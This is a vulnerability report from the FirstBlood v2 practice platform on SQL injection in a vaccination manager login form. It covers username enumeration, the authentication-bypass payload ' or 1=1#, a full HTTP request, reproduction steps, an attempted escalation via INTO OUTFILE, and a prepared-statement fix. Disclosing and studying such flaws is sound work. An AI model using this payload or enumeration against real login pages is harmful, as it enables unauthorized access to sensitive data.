FirstBlood-#888SQL Injection on /vaccination-manager/login.php
This issue was discovered on FirstBlood v2

On 2021-10-30, 0x1452 Level 3 reported:



The endpoint POST /vaccination-manager/login.php is vulnerable to SQL Injection, caused by the parameter password. This only works if the username is valid.

It's possible to enumerate valid admin usernames because the error message will be different when the username is valid but the password is not. Compare the following two responses:

User that doesn't exist

User that exists

By bruteforcing the username parameter until they get a response containing Invalid username or password, an attacker can find a valid admin account. Now they can exploit the SQL injection:

Note that it doesn't work without a valid user:

To log into the vaccination manager portal just set password to '+or+1%3d1%23:

POST /vaccination-manager/login.php HTTP/1.1
Cookie: doctorAuthed=eyJkb2N0b3JBdXRoIjphdXRoZWR9; drps=c8ec707a893a0cb100011cdbc
Content-Length: 37
Cache-Control: max-age=0
Sec-Ch-Ua: "Google Chrome";v="95", "Chromium";v="95", ";Not A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close


Steps to reproduce

  1. Navigate to /vaccination-manager/login.php
  2. Find the valid user admin by guessing or bruteforcing the username parameter until the response contains Invalid username or password
  3. Send a POST request to /vaccination-manager/login.php with the body username=admin&password='+or+1%3d1%23
  4. You should be logged into the vaccination manager portal now


This vulnerability gives an attacker full access to the database. Despite being a blind SQLi, a tool like sqlmap could be used to dump the whole database, likely revealing credentials and sensitive user information.

I tried to escalate this to a potential RCE via SELECT ... INTO OUTFILE ... but the database user doesn't seem to have FILE permissions.


Don't include the password parameter in the query directly. Use prepared statements instead.


Endpoint: /vaccination-manager/login.php

Parameter: password

Payload: ' or 1=1#

FirstBlood ID: 30
Vulnerability Type: SQL Injection

There is an SQL injection on the vaccination management portal login page which results in the user being able to login as the administrator.